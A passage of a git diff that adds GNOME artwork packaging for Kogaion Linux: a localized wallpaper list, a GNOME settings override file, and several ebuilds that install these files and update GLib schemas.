+		<name xml:lang="sr">Огледало</name>
+		<name xml:lang="ta">கண்ணாடி</name>
+		<name xml:lang="tg">Оина</name>
+		<name xml:lang="tr">Ayna</name>
+		<name xml:lang="uk">Дзеркало</name>
+		<name xml:lang="zh_CN">天光水色</name>
+		<name xml:lang="zh_TW">鏡像</name>
+		<filename>/usr/share/backgrounds/gnome/Mirror.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Road</name>
+		<name xml:lang="bg">Път</name>
+		<name xml:lang="ca">Carretera</name>
+		<name xml:lang="cs">Cesta</name>
+		<name xml:lang="da">Vej</name>
+		<name xml:lang="de">Straße</name>
+		<name xml:lang="el">Δρόμος</name>
+		<name xml:lang="en_GB">Road</name>
+		<name xml:lang="es">Carretera</name>
+		<name xml:lang="et">Maantee</name>
+		<name xml:lang="eu">Bidea</name>
+		<name xml:lang="fa">جاده</name>
+		<name xml:lang="fi">Tie</name>
+		<name xml:lang="fr">Route</name>
+		<name xml:lang="gl">Carretera</name>
+		<name xml:lang="gu">રસ્તો</name>
+		<name xml:lang="he">דרך</name>
+		<name xml:lang="hi">रोड</name>
+		<name xml:lang="hu">Út</name>
+		<name xml:lang="it">Strada</name>
+		<name xml:lang="ja">道</name>
+		<name xml:lang="ko">도로</name>
+		<name xml:lang="lt">Kelias</name>
+		<name xml:lang="lv">Ceļš</name>
+		<name xml:lang="nb">Vei</name>
+		<name xml:lang="pa">ਵਿਰਾਨ ਰਾਹ</name>
+		<name xml:lang="pl">Droga</name>
+		<name xml:lang="pt">Estrada</name>
+		<name xml:lang="pt_BR">Estrada</name>
+		<name xml:lang="ru">Дорога</name>
+		<name xml:lang="sk">Cesta</name>
+		<name xml:lang="sl">Cesta</name>
+		<name xml:lang="sr">Пут кроз пустињу</name>
+		<name xml:lang="ta">ரோட்</name>
+		<name xml:lang="tg">Роҳ</name>
+		<name xml:lang="tr">Yol</name>
+		<name xml:lang="uk">Дорога</name>
+		<name xml:lang="vi">Đường</name>
+		<name xml:lang="zh_CN">野阔途远</name>
+		<name xml:lang="zh_TW">道路</name>
+		<filename>/usr/share/backgrounds/gnome/Road.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Sandstone</name>
+		<name xml:lang="bg">Каньон</name>
+		<name xml:lang="ca">Pedres de terra</name>
+		<name xml:lang="cs">Pískovce</name>
+		<name xml:lang="da">Sandsten</name>
+		<name xml:lang="de">Sandstein</name>
+		<name xml:lang="el">Ψαμμίτης</name>
+		<name xml:lang="en_GB">Sandstone</name>
+		<name xml:lang="es">Piedra roja</name>
+		<name xml:lang="et">Liivakivi</name>
+		<name xml:lang="eu">Hareharria</name>
+		<name xml:lang="fa">سنگ شن</name>
+		<name xml:lang="fi">Hiekkakiveä</name>
+		<name xml:lang="fr">Grès rouge</name>
+		<name xml:lang="gl">Pedra vermella</name>
+		<name xml:lang="gu">રેતીનાં પત્થર</name>
+		<name xml:lang="he">סלע חול</name>
+		<name xml:lang="hi">बलुआ पत्थर</name>
+		<name xml:lang="hu">Homokkő</name>
+		<name xml:lang="it">Arenaria</name>
+		<name xml:lang="ja">砂岩</name>
+		<name xml:lang="ko">사암</name>
+		<name xml:lang="lt">Smiltainis</name>
+		<name xml:lang="lv">Smilšakmens</name>
+		<name xml:lang="nb">Sandstein</name>
+		<name xml:lang="pa">ਲਾਲ ਖੜ੍ਹੇ ਪੱਥਰ</name>
+		<name xml:lang="pl">Skały</name>
+		<name xml:lang="pt">Arenito</name>
+		<name xml:lang="pt_BR">Arenito</name>
+		<name xml:lang="ru">Песчаник</name>
+		<name xml:lang="sk">Pieskovec</name>
+		<name xml:lang="sl">Peščenjak</name>
+		<name xml:lang="sr">Пешчане стене</name>
+		<name xml:lang="ta">சேன்ட்ஸ்டோன்</name>
+		<name xml:lang="tr">Kum Taşı</name>
+		<name xml:lang="uk">Пісковик</name>
+		<name xml:lang="vi">Đá cát</name>
+		<name xml:lang="zh_CN">赤砂岩壁</name>
+		<name xml:lang="zh_TW">砂岩</name>
+		<filename>/usr/share/backgrounds/gnome/Sandstone.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Spaceflare</name>
+		<name xml:lang="af">Ruimtegloed</name>
+		<name xml:lang="bg">Звезден взрив</name>
+		<name xml:lang="bn">আকাশে দাউদাউ করে জ্বলা</name>
+		<name xml:lang="ca">Flama espacial</name>
+		<name xml:lang="cs">Kosmická záře</name>
+		<name xml:lang="da">Rumglimt</name>
+		<name xml:lang="de">Leuchtsignale im Weltall</name>
+		<name xml:lang="el">Διαστημική φλόγα</name>
+		<name xml:lang="en_GB">Spaceflare</name>
+		<name xml:lang="eo">Kosmaj lumsignaloj</name>
+		<name xml:lang="es">Destello</name>
+		<name xml:lang="et">Kosmosesära</name>
+		<name xml:lang="eu">Espazioko distira</name>
+		<name xml:lang="fa">شعله‌های فضایی</name>
+		<name xml:lang="fi">Avaruusroihu</name>
+		<name xml:lang="fr">Lumière dans l'espace</name>
+		<name xml:lang="gl">Erupción</name>
+		<name xml:lang="gu">સ્પૅસફ્લેર</name>
+		<name xml:lang="he">להבה בחלל</name>
+		<name xml:lang="hi">स्पेस चमक</name>
+		<name xml:lang="hu">Kitörés</name>
+		<name xml:lang="it">Brillamento</name>
+		<name xml:lang="ja">宇宙フレア</name>
+		<name xml:lang="km">Spaceflare</name>
+		<name xml:lang="ko">우주 불꽃</name>
+		<name xml:lang="lt">Kosminis tvykstelėjimas</name>
+		<name xml:lang="lv">Kosmosa uzliesmojums</name>
+		<name xml:lang="nb">Romeksplosjon</name>
+		<name xml:lang="nl">Ruimtegloed</name>
+		<name xml:lang="pa">ਪੁਲਾੜੀ ਨਜ਼ਾਰਾ</name>
+		<name xml:lang="pl">Rozbłysk</name>
+		<name xml:lang="pt">Explosão Solar</name>
+		<name xml:lang="pt_BR">Luz espacial</name>
+		<name xml:lang="ru">Взрыв</name>
+		<name xml:lang="sk">Vesmírna žiara</name>
+		<name xml:lang="sl">Vesolje luči</name>
+		<name xml:lang="sr">Звездана ерупција</name>
+		<name xml:lang="sv">Rymdsken</name>
+		<name xml:lang="ta">வானத்தீ</name>
+		<name xml:lang="tr">Uzay Parıltısı</name>
+		<name xml:lang="uk">Космічний спалах</name>
+		<name xml:lang="vi">Lửa không gian</name>
+		<name xml:lang="zh_CN">星火光影</name>
+		<name xml:lang="zh_TW">太空閃焰</name>
+		<filename>/usr/share/backgrounds/gnome/Spaceflare.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+
+	<wallpaper deleted="false">
+		
+		<name>Sunset</name>
+		<name xml:lang="bg">Залез</name>
+		<name xml:lang="ca">Posta de sol</name>
+		<name xml:lang="cs">Stmívání</name>
+		<name xml:lang="da">Abstrakt solnedgang</name>
+		<name xml:lang="de">Sonnenuntergang</name>
+		<name xml:lang="el">Ηλιοβασίλεμα</name>
+		<name xml:lang="en_GB">Sunset</name>
+		<name xml:lang="es">Ocaso</name>
+		<name xml:lang="et">Tehisloojang</name>
+		<name xml:lang="eu">Ilunabarra</name>
+		<name xml:lang="fa">غروب</name>
+		<name xml:lang="fi">Auringonlasku</name>
+		<name xml:lang="fr">Crépuscule</name>
+		<name xml:lang="gl">Solpor</name>
+		<name xml:lang="gu">સૂર્યાસ્તનો સમય</name>
+		<name xml:lang="he">שקיעה</name>
+		<name xml:lang="hi">सूर्यास्त</name>
+		<name xml:lang="hu">Napnyugta</name>
+		<name xml:lang="it">Tramonto</name>
+		<name xml:lang="ja">日暮れ</name>
+		<name xml:lang="ko">석양</name>
+		<name xml:lang="lt">Saulėydis</name>
+		<name xml:lang="lv">Saulriets</name>
+		<name xml:lang="nb">Solnedgang</name>
+		<name xml:lang="pa">ਡੁੱਬਦਾ ਸੂਰਜ</name>
+		<name xml:lang="pl">Zachód słońca</name>
+		<name xml:lang="pt">pôr do sol</name>
+		<name xml:lang="pt_BR">Pôr do sol</name>
+		<name xml:lang="ru">Закат</name>
+		<name xml:lang="sk">Západ slnka</name>
+		<name xml:lang="sl">Sončni zahod</name>
+		<name xml:lang="sr">Залазак Сунца</name>
+		<name xml:lang="ta">சூரிய அஸ்தமனம்</name>
+		<name xml:lang="tg">Ғуруб</name>
+		<name xml:lang="tr">Günbatımı</name>
+		<name xml:lang="uk">Захід сонця</name>
+		<name xml:lang="vi">Hoàng hôn</name>
+		<name xml:lang="zh_CN">日落紫霞</name>
+		<name xml:lang="zh_TW">日落</name>
+		<filename>/usr/share/backgrounds/gnome/Sunset.png</filename>
+		<options>stretched</options>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Terraform Green</name>
+		<name xml:lang="af">Terravorming groen</name>
+		<name xml:lang="bg">Зелени петна</name>
+		<name xml:lang="bn">পৃথিবীপ্রকৃতি সবুজ</name>
+		<name xml:lang="ca">Terra verd</name>
+		<name xml:lang="cs">Zelený povrch zemský</name>
+		<name xml:lang="da">Grønt landskabsmønster</name>
+		<name xml:lang="de">Grüne Landmasse</name>
+		<name xml:lang="el">Μετασχηματισμός πράσινο</name>
+		<name xml:lang="en_GB">Terraform Green</name>
+		<name xml:lang="eo">Verda lando</name>
+		<name xml:lang="es">Tierra verde</name>
+		<name xml:lang="et">Terra pind, roheline</name>
+		<name xml:lang="eu">Lurraren gainazal berdea</name>
+		<name xml:lang="fa">ترافورم سبز</name>
+		<name xml:lang="fi">Maanmuotoinen vihreä</name>
+		<name xml:lang="fr">Croute terrestre verte</name>
+		<name xml:lang="gl">Terra verde</name>
+		<name xml:lang="gu">ટૅરાફોર્મ લીલુ</name>
+		<name xml:lang="he">פני כוכב ירוק</name>
+		<name xml:lang="hi">Terraform हरा</name>
+		<name xml:lang="hu">Zöld szigetek</name>
+		<name xml:lang="it">Emozioni in verde</name>
+		<name xml:lang="ja">テラフォーム 緑</name>
+		<name xml:lang="km">ទម្រង់​ផែនដីពណ៌​​បៃតង</name>
+		<name xml:lang="ko">테라폼 녹색</name>
+		<name xml:lang="lt">Žemės žalia</name>
+		<name xml:lang="lv">Zaļā zeme</name>
+		<name xml:lang="nb">Terraform grønn</name>
+		<name xml:lang="nl">Terravorming groen</name>
+		<name xml:lang="pa">ਧਰਤ-ਰੂਪੀ ਹਰਾ</name>
+		<name xml:lang="pl">Zielona ziemia</name>
+		<name xml:lang="pt">Paisagem Verde</name>
+		<name xml:lang="pt_BR">Terraformação verde</name>
+		<name xml:lang="ru">Зелёная терраформа</name>
+		<name xml:lang="sk">Zelený terén</name>
+		<name xml:lang="sl">Odtisno zeleno</name>
+		<name xml:lang="sr">Постање зелене планете</name>
+		<name xml:lang="sv">Terraform Grön</name>
+		<name xml:lang="ta">பூமி பச்சை</name>
+		<name xml:lang="tr">Arazi Yeşili</name>
+		<name xml:lang="uk">Зелена Земля</name>
+		<name xml:lang="vi">Terraform xanh</name>
+		<name xml:lang="zh_CN">地貌之绿</name>
+		<name xml:lang="zh_TW">地球化 綠</name>
+		<filename>/usr/share/backgrounds/gnome/Terraform-green.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Tulip</name>
+		<name xml:lang="bg">Лалета</name>
+		<name xml:lang="ca">Tulipa</name>
+		<name xml:lang="cs">Tulipánky</name>
+		<name xml:lang="da">Tulipan</name>
+		<name xml:lang="de">Tulpen</name>
+		<name xml:lang="el">Τουλίπα</name>
+		<name xml:lang="en_GB">Tulip</name>
+		<name xml:lang="es">Tulipanes</name>
+		<name xml:lang="et">Tulbid</name>
+		<name xml:lang="eu">Idi-bihotza</name>
+		<name xml:lang="fa">لاله</name>
+		<name xml:lang="fi">Tulppaani</name>
+		<name xml:lang="fr">Tulipe</name>
+		<name xml:lang="gl">Tulipán</name>
+		<name xml:lang="gu">ટ્યૂલિપ</name>
+		<name xml:lang="he">צבעוני</name>
+		<name xml:lang="hi">टूलिप</name>
+		<name xml:lang="hu">Tulipán</name>
+		<name xml:lang="it">Tulipano</name>
+		<name xml:lang="ja">チューリップ</name>
+		<name xml:lang="ko">튤립</name>
+		<name xml:lang="lt">Tulpė</name>
+		<name xml:lang="lv">Tulpes</name>
+		<name xml:lang="nb">Tullipan</name>
+		<name xml:lang="pa">ਗੁਲਲਾਲਾ</name>
+		<name xml:lang="pl">Tulipany</name>
+		<name xml:lang="pt">Túlipa</name>
+		<name xml:lang="pt_BR">Tulipa</name>
+		<name xml:lang="ru">Тюльпан</name>
+		<name xml:lang="sk">Tulipány</name>
+		<name xml:lang="sl">Tulipan</name>
+		<name xml:lang="sr">Лале</name>
+		<name xml:lang="ta">ட்யுலிப்</name>
+		<name xml:lang="tg">Ҷавғосин</name>
+		<name xml:lang="tr">Laleler</name>
+		<name xml:lang="uk">Тюльпан</name>
+		<name xml:lang="vi">Tulíp</name>
+		<name xml:lang="zh_CN">郁金香</name>
+		<name xml:lang="zh_TW">鬱金香</name>
+		<filename>/usr/share/backgrounds/gnome/Tulip.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Waves</name>
+		<name xml:lang="ar">أمواج</name>
+		<name xml:lang="bg">Бряг</name>
+		<name xml:lang="ca">Ones</name>
+		<name xml:lang="cs">Příboj</name>
+		<name xml:lang="cy">Tonnau</name>
+		<name xml:lang="da">Bølger</name>
+		<name xml:lang="de">Blaue Wellen</name>
+		<name xml:lang="el">Κύματα</name>
+		<name xml:lang="en_GB">Waves</name>
+		<name xml:lang="es">Olas</name>
+		<name xml:lang="et">Lained</name>
+		<name xml:lang="eu">Uhinak</name>
+		<name xml:lang="fa">امواج</name>
+		<name xml:lang="fi">Aallot</name>
+		<name xml:lang="fr">Vagues</name>
+		<name xml:lang="fy">Baren</name>
+		<name xml:lang="ga">Tonnta</name>
+		<name xml:lang="gl">Ondas</name>
+		<name xml:lang="gu">મોજાઓ</name>
+		<name xml:lang="he">גלים</name>
+		<name xml:lang="hi">तरंग</name>
+		<name xml:lang="hu">Hullámok</name>
+		<name xml:lang="it">Onde</name>
+		<name xml:lang="ja">ウェーブ</name>
+		<name xml:lang="kk">Толқындар</name>
+		<name xml:lang="ko">물결</name>
+		<name xml:lang="lt">Bangos</name>
+		<name xml:lang="lv">Viļņi</name>
+		<name xml:lang="mk">Бранови</name>
+		<name xml:lang="mn">Давалгаа</name>
+		<name xml:lang="ms">Ombak</name>
+		<name xml:lang="nb">Bølger</name>
+		<name xml:lang="nds">Wellen</name>
+		<name xml:lang="nn">Bølgjer</name>
+		<name xml:lang="pa">ਲਹਿਰਾਂ</name>
+		<name xml:lang="pl">Fale</name>
+		<name xml:lang="pt">Ondas</name>
+		<name xml:lang="pt_BR">Ondas</name>
+		<name xml:lang="ro">Valuri</name>
+		<name xml:lang="ru">Волны</name>
+		<name xml:lang="sk">Vlny</name>
+		<name xml:lang="sl">Valovanje</name>
+		<name xml:lang="sr">Смирај дана</name>
+		<name xml:lang="ta">வேவ்ஸ்</name>
+		<name xml:lang="tg">Мавҷҳо</name>
+		<name xml:lang="tr">Dalgalar</name>
+		<name xml:lang="uk">Хвилі</name>
+		<name xml:lang="vi">Sóng</name>
+		<name xml:lang="zh_CN">浪涌苍穹</name>
+		<name xml:lang="zh_TW">波浪</name>
+		<filename>/usr/share/backgrounds/gnome/Waves.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>Wood</name>
+		<name xml:lang="af">Grein</name>
+		<name xml:lang="ar">خشب</name>
+		<name xml:lang="bg">Избеляла дървесина</name>
+		<name xml:lang="bn">কাঠ</name>
+		<name xml:lang="ca">Fusta</name>
+		<name xml:lang="cs">Prkna</name>
+		<name xml:lang="cy">Pren</name>
+		<name xml:lang="da">Træ</name>
+		<name xml:lang="de">Holzfasern</name>
+		<name xml:lang="el">Ξύλο</name>
+		<name xml:lang="en_GB">Wood</name>
+		<name xml:lang="eo">Arbaro</name>
+		<name xml:lang="es">Madera</name>
+		<name xml:lang="et">Lauad</name>
+		<name xml:lang="eu">Egurra</name>
+		<name xml:lang="fa">چوب</name>
+		<name xml:lang="fi">Puu</name>
+		<name xml:lang="fr">Bois</name>
+		<name xml:lang="fy">Bosken</name>
+		<name xml:lang="ga">Adhmad</name>
+		<name xml:lang="gl">Madeira</name>
+		<name xml:lang="gu">લાકડુ</name>
+		<name xml:lang="he">עץ</name>
+		<name xml:lang="hi">काष्ठ</name>
+		<name xml:lang="hu">Deszka</name>
+		<name xml:lang="it">Legno</name>
+		<name xml:lang="ja">ウッド</name>
+		<name xml:lang="kk">Ағаш</name>
+		<name xml:lang="km">ឈើ​</name>
+		<name xml:lang="ko">나무결</name>
+		<name xml:lang="lt">Medis</name>
+		<name xml:lang="lv">Dēlis</name>
+		<name xml:lang="mk">Дрво</name>
+		<name xml:lang="mn">Мод</name>
+		<name xml:lang="ms">Kayu</name>
+		<name xml:lang="nb">Tre</name>
+		<name xml:lang="nds">Wald</name>
+		<name xml:lang="nl">Hout</name>
+		<name xml:lang="nn">Tre</name>
+		<name xml:lang="pa">ਲੱਕੜ</name>
+		<name xml:lang="pl">Drewno</name>
+		<name xml:lang="pt">Madeira</name>
+		<name xml:lang="pt_BR">Madeira</name>
+		<name xml:lang="ro">Lemn</name>
+		<name xml:lang="ru">Древесина</name>
+		<name xml:lang="sk">Drevo</name>
+		<name xml:lang="sl">Les</name>
+		<name xml:lang="sr">Дрво</name>
+		<name xml:lang="sv">Trä</name>
+		<name xml:lang="ta">மரம்</name>
+		<name xml:lang="tr">Ahşap</name>
+		<name xml:lang="uk">Деревина</name>
+		<name xml:lang="vi">Gỗ</name>
+		<name xml:lang="zh_CN">木纹</name>
+		<name xml:lang="zh_TW">木頭</name>
+		<filename>/usr/share/backgrounds/gnome/Wood.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+	<wallpaper deleted="false">
+		
+		<name>End Bell</name>
+		<name xml:lang="bg">Камбанка</name>
+		<name xml:lang="ca">Campaneta</name>
+		<name xml:lang="cs">Konec zvonec</name>
+		<name xml:lang="da">Blomst</name>
+		<name xml:lang="de">Glockenblume</name>
+		<name xml:lang="el">Άνθος</name>
+		<name xml:lang="en_GB">End Bell</name>
+		<name xml:lang="es">Campana final</name>
+		<name xml:lang="et">Kellukas</name>
+		<name xml:lang="eu">Muturreko kanpaia</name>
+		<name xml:lang="fa">زنگ پایانی</name>
+		<name xml:lang="fi">Sinertävä kukka</name>
+		<name xml:lang="fr">Campanule</name>
+		<name xml:lang="gl">Campánula</name>
+		<name xml:lang="gu">બેલ અંત</name>
+		<name xml:lang="he">פעמון הסיום</name>
+		<name xml:lang="hi">End Bell</name>
+		<name xml:lang="hu">Harangvirág</name>
+		<name xml:lang="it">Petali</name>
+		<name xml:lang="ja">ベルフラワー</name>
+		<name xml:lang="ko">종다리꽃</name>
+		<name xml:lang="lt">Varpelis</name>
+		<name xml:lang="lv">Zvaniņš</name>
+		<name xml:lang="nb">Sluttklokke</name>
+		<name xml:lang="pa">ਅੰਤਿਮ ਘੰਟੀ</name>
+		<name xml:lang="pl">Dzwonek</name>
+		<name xml:lang="pt">Campainha</name>
+		<name xml:lang="pt_BR">Campânula</name>
+		<name xml:lang="ru">Колокольчик</name>
+		<name xml:lang="sk">Zvonček</name>
+		<name xml:lang="sl">Zvonec</name>
+		<name xml:lang="sr">Звончићи</name>
+		<name xml:lang="ta">என்ட் பெல்</name>
+		<name xml:lang="tr">Çiçek</name>
+		<name xml:lang="uk">Кінець чашечки</name>
+		<name xml:lang="vi">Hoa</name>
+		<name xml:lang="zh_CN">风铃花</name>
+		<name xml:lang="zh_TW">風鈴花</name>
+		<filename>/usr/share/backgrounds/gnome/ZvonecKonec.jpg</filename>
+		<options>zoom</options>
+    <pcolor>#ffffff</pcolor>
+    <scolor>#000000</scolor>
+	</wallpaper>
+</wallpapers>
diff --git a/x11-themes/kogaion-artwork-gnome/files/org.kogaion.gschema.override b/x11-themes/kogaion-artwork-gnome/files/org.kogaion.gschema.override
new file mode 100644
index 00000000..eb0bd5cb
--- /dev/null
+++ b/x11-themes/kogaion-artwork-gnome/files/org.kogaion.gschema.override
@@ -0,0 +1,22 @@
+[org.gnome.desktop.background]
+picture-uri='file:///usr/share/backgrounds/kogaionlinux.png'
+show-desktop-icons=true
+
+[org.gnome.desktop.interface]
+clock-show-date=true
+document-font-name='Sans 10'
+font-name='Bitstream Vera Sans 10'
+icon-theme='Faenza-Kupertino-Light'
+
+[org.gnome.desktop.wm.preferences]
+theme='Kogaion-light'
+titlebar-font='Bitstream Vera Sans Bold 10'
+
+[org.gnome.shell.calendar]
+show-weekdate=true
+
+org.gnome.shell.overrides]
+button-layout=':minimize,maximize,close'
+
+[org.gnome.SessionManager]
+show-fallback-warning=false
diff --git a/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r1.ebuild b/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r1.ebuild
new file mode 100644
index 00000000..d471d87a
--- /dev/null
+++ b/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r1.ebuild
@@ -0,0 +1,66 @@
+# Copyright 1999-2012 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# Header: $
+
+EAPI=4
+
+inherit gnome2-utils
+
+DESCRIPTION="Kogaion Linux Official GNOME artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/"${PN}"-${PV}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND=">=x11-themes/rogentos-artwork-core-2
+	x11-themes/kogaion-light-theme
+	x11-themes/kogaion-dark-theme
+	x11-themes/faenza-kupertino-icons
+	!x11-themes/sabayon-artwork-gnome"
+
+S="${WORKDIR}/"
+
+src_install() {
+#	dodir /usr/share/themes
+
+	# GNOME & GTK Theme
+#	cd "${S}"/gtk
+#	dodir /usr/share/themes
+#	insinto /usr/share/themes
+#	doins -r ./*
+
+	# Metacity
+#	cd "${S}"/metacity
+#	insinto /usr/share/themes
+#	doins -r ./*
+
+	# GNOME 3 config settings
+	dodir /usr/share/glib-2.0/schemas
+	insinto /usr/share/glib-2.0/schemas
+	doins "${FILESDIR}/org.kogaion.gschema.override"
+
+	# GDM 3.6+ logo stuff
+	cd "${S}/gdm"
+	dodir /usr/share/kogaion/gdm
+	insinto /usr/share/kogaion/gdm
+	doins logo.svg
+	insinto /usr/share/glib-2.0/schemas
+	doins org.gnome.login-screen.gschema.override
+}
+
+pkg_preinst() {
+	# taken from gnome2_schemas_savelist
+	has ${EAPI:-0} 0 1 2 && ! use prefix && ED="${D}"
+	pushd "${ED}" &>/dev/null
+	export GNOME2_ECLASS_GLIB_SCHEMAS="/usr/share/glib-2.0/schemas/org.kogaion.gschema.override"
+	popd &>/dev/null
+}
+
+pkg_postinst() {
+	gnome2_schemas_update
+}
+
+pkg_postrm() {
+	gnome2_schemas_update --uninstall
+}
diff --git a/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r2.ebuild b/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r2.ebuild
new file mode 100644
index 00000000..3e30cb3c
--- /dev/null
+++ b/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r2.ebuild
@@ -0,0 +1,71 @@
+# Copyright 1999-2012 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# Header: $
+
+EAPI=4
+
+inherit gnome2-utils
+
+DESCRIPTION="Kogaion Linux Official GNOME artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/"${PN}"-${PV}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND=">=x11-themes/rogentos-artwork-core-2
+	x11-themes/kogaion-light-theme
+	x11-themes/kogaion-dark-theme
+	x11-themes/faenza-kupertino-icons
+	!x11-themes/sabayon-artwork-gnome"
+
+S="${WORKDIR}/"
+
+src_install() {
+#	dodir /usr/share/themes
+
+	# GNOME & GTK Theme
+#	cd "${S}"/gtk
+#	dodir /usr/share/themes
+#	insinto /usr/share/themes
+#	doins -r ./*
+
+	# Metacity
+#	cd "${S}"/metacity
+#	insinto /usr/share/themes
+#	doins -r ./*
+
+	# GNOME 3 config settings
+	dodir /usr/share/glib-2.0/schemas
+	insinto /usr/share/glib-2.0/schemas
+	doins "${FILESDIR}/org.kogaion.gschema.override"
+
+	# Add GNOME 3 backgrounds
+	dodir /usr/share/gnome-background-properties
+	insinto /usr/share/gnome-background-properties || die "/usr/share/gnome-background-properties not found"
+	doins "${FILESDIR}/gnome-backgrounds.xml"
+
+	# GDM 3.6+ logo stuff
+	cd "${S}/gdm"
+	dodir /usr/share/kogaion/gdm
+	insinto /usr/share/kogaion/gdm
+	doins logo.svg
+	insinto /usr/share/glib-2.0/schemas
+	doins org.gnome.login-screen.gschema.override
+}
+
+pkg_preinst() {
+	# taken from gnome2_schemas_savelist
+	has ${EAPI:-0} 0 1 2 && ! use prefix && ED="${D}"
+	pushd "${ED}" &>/dev/null
+	export GNOME2_ECLASS_GLIB_SCHEMAS="/usr/share/glib-2.0/schemas/org.kogaion.gschema.override"
+	popd &>/dev/null
+}
+
+pkg_postinst() {
+	gnome2_schemas_update
+}
+
+pkg_postrm() {
+	gnome2_schemas_update --uninstall
+}
diff --git a/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r3.ebuild b/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r3.ebuild
new file mode 100644
index 00000000..3e30cb3c
--- /dev/null
+++ b/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r3.ebuild
@@ -0,0 +1,71 @@
+# Copyright 1999-2012 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# Header: $
+
+EAPI=4
+
+inherit gnome2-utils
+
+DESCRIPTION="Kogaion Linux Official GNOME artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/"${PN}"-${PV}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND=">=x11-themes/rogentos-artwork-core-2
+	x11-themes/kogaion-light-theme
+	x11-themes/kogaion-dark-theme
+	x11-themes/faenza-kupertino-icons
+	!x11-themes/sabayon-artwork-gnome"
+
+S="${WORKDIR}/"
+
+src_install() {
+#	dodir /usr/share/themes
+
+	# GNOME & GTK Theme
+#	cd "${S}"/gtk
+#	dodir /usr/share/themes
+#	insinto /usr/share/themes
+#	doins -r ./*
+
+	# Metacity
+#	cd "${S}"/metacity
+#	insinto /usr/share/themes
+#	doins -r ./*
+
+	# GNOME 3 config settings
+	dodir /usr/share/glib-2.0/schemas
+	insinto /usr/share/glib-2.0/schemas
+	doins "${FILESDIR}/org.kogaion.gschema.override"
+
+	# Add GNOME 3 backgrounds
+	dodir /usr/share/gnome-background-properties
+	insinto /usr/share/gnome-background-properties || die "/usr/share/gnome-background-properties not found"
+	doins "${FILESDIR}/gnome-backgrounds.xml"
+
+	# GDM 3.6+ logo stuff
+	cd "${S}/gdm"
+	dodir /usr/share/kogaion/gdm
+	insinto /usr/share/kogaion/gdm
+	doins logo.svg
+	insinto /usr/share/glib-2.0/schemas
+	doins org.gnome.login-screen.gschema.override
+}
+
+pkg_preinst() {
+	# taken from gnome2_schemas_savelist
+	has ${EAPI:-0} 0 1 2 && ! use prefix && ED="${D}"
+	pushd "${ED}" &>/dev/null
+	export GNOME2_ECLASS_GLIB_SCHEMAS="/usr/share/glib-2.0/schemas/org.kogaion.gschema.override"
+	popd &>/dev/null
+}
+
+pkg_postinst() {
+	gnome2_schemas_update
+}
+
+pkg_postrm() {
+	gnome2_schemas_update --uninstall
+}
diff --git a/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0.ebuild b/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0.ebuild
new file mode 100644
index 00000000..4df4a6f4
--- /dev/null
+++ b/x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0.ebuild
@@ -0,0 +1,66 @@
+# Copyright 1999-2012 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# Header: $
+
+EAPI=4
+
+inherit gnome2-utils
+
+DESCRIPTION="Kogaion Linux Official GNOME artwork"
+HOMEPAGE="http://www.sabayon.org/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/"${PN}"-${PVR}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND="=x11-themes/kogaion-artwork-core-2
+	x11-themes/kogaion-light-theme
+	x11-themes/kogaion-dark-theme
